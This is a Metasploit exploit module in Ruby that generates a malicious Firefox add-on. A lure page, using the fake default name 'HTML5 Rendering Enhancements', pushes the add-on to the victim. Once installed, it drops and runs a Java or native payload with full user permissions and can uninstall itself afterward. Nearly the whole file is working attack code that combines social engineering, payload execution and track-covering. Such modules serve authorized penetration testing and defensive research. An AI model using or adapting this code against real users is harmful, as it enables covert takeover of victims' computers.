##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize( info = {} )
		super( update_info( info,
			'Name'          => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',
			'Description'   => %q{
					This exploit dynamically creates a .xpi addon file.
				The resulting bootstrapped Firefox addon is presented to
				the victim via a web page with.  The victim's Firefox browser
				will pop a dialog asking if they trust the addon.

				Once the user clicks "install", the addon is installed and
				executes the payload with full user permissions. As of Firefox
				4, this will work without a restart as the addon is marked to
				be "bootstrapped". As the addon will execute the payload after
				each Firefox restart, an option can be given to automatically
				uninstall the addon once the payload has been executed.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [ 'mihi' ],
			'References'    =>
				[
					[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],
					[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]
				],
			'DisclosureDate' => 'Jun 27 2007',
			'Platform'      => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
			'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Platform' => ['java'],
							'Arch' => ARCH_JAVA
						}
					],
					[ 'Windows x86 (Native Payload)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Linux x86 (Native Payload)',
						{
							'Platform' => 'linux',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Mac OS X PPC (Native Payload)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_PPC,
						}
					],
					[ 'Mac OS X x86 (Native Payload)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
						}
					]
				],
			'DefaultTarget'  => 1
		))

		register_options( [
			OptString.new('ADDONNAME', [ true,
				"The addon name.",
				"HTML5 Rendering Enhancements"
				]),
			OptBool.new('AutoUninstall', [ true,
				"Automatically uninstall the addon after payload execution",
				true
				])
		], self.class)
	end

	def on_request_uri( cli, request )
		if not request.uri.match(/\.xpi$/i)
			if not request.uri.match(/\/$/)
				send_redirect( cli, get_resource() + '/', '')
				return
			end

			print_status("Handling request..." )

			send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
			return
		end

		p = regenerate_payload(cli)
		if not p
			print_error("Failed to generate the payload.")
			# Send them a 404 so the browser doesn't hang waiting for data
			# that will never come.
			send_not_found(cli)
			return
		end

		# If we haven't returned yet, then this is a request for our xpi,
		# so build one

		if target.name == 'Generic (Java Payload)'
			jar = p.encoded_jar
			jar.build_manifest(:main_class => "metasploit.Payload")
			payload_file = jar.pack
			payload_name='payload.jar'
			payload_script=%q|
	var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java
	java.lang.System.setSecurityManager(null);
	var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]);
	var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]);
	m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]);
			|
		else
			payload_file = generate_payload_exe
			payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe'
			payload_script=%q|
	var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
	process.init(tmp);
	process.run(false,[],0);
			|
			if target.name != 'Windows x86 (Native Payload)'
				payload_script = %q|
				var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
				chmod.initWithPath("/bin/chmod");
				var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
				process.init(chmod);
				process.run(true, ["+x", tmp.path], 2);
				| + payload_script
			end
		end

		zip = Rex::Zip::Archive.new
		xpi_guid = Rex::Text.rand_guid
		bootstrap_script = %q|
function startup(data, reason) {
	var file = Components.classes["@mozilla.org/file/directory_service;1"].
					getService(Components.interfaces.nsIProperties).
					get("ProfD", Components.interfaces.nsIFile);
	file.append("extensions");
		|
		bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
		bootstrap_script << %Q|payload_name="#{payload_name}";|
		bootstrap_script << %q|
	file.append(xpi_guid);
	file.append(payload_name);
	var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
					getService(Components.interfaces.nsIProperties).
					get("TmpD", Components.interfaces.nsIFile);
	tmp.append(payload_name);
	tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
	file.copyTo(tmp.parent, tmp.leafName);
		|
		bootstrap_script << payload_script

		if (datastore['AutoUninstall'])
			bootstrap_script <<  %q|
	try { // Fx < 4.0
		Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
	} catch (e) {}
	try { // Fx 4.0 and later
		Components.utils.import("resource://gre/modules/AddonManager.jsm");
		AddonManager.getAddonByID(xpi_guid, function(addon) {
			addon.uninstall();
		});
	} catch (e) {}
			|
		end

		bootstrap_script << "}"

		zip.add_file('bootstrap.js', bootstrap_script)
		zip.add_file(payload_name, payload_file)
		zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
		zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">
	<Description about="urn:mozilla:install-manifest">
		<em:id>#{xpi_guid}</em:id>
		<em:name>#{datastore['ADDONNAME']}</em:name>
		<em:version>1.0</em:version>
		<em:bootstrap>true</em:bootstrap>
		<em:unpack>true</em:unpack>
		<em:targetApplication>
			<Description>
				<em:id>toolkit@mozilla.org</em:id>
				<em:minVersion>1.0</em:minVersion>
				<em:maxVersion>*</em:maxVersion>
			</Description>
		</em:targetApplication>
		<em:targetApplication>
			<Description>
				<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
				<em:minVersion>1.0</em:minVersion>
				<em:maxVersion>*</em:maxVersion>
			</Description>
		</em:targetApplication>
		</Description>
</RDF>|)
zip.add_file('overlay.xul', %q|<?xml version="1.0"?>
<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
	<script src="bootstrap.js"/>
	<script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script>
</overlay>|)

		print_status("Sending xpi and waiting for user to click 'accept'...")
		send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } )
		handler( cli )
	end

	def generate_html
		html  = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
		html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
		html << %Q|<script>window.location.href="addon.xpi";</script>\n|
		html << %Q|</body></html>|
		return html
	end
end
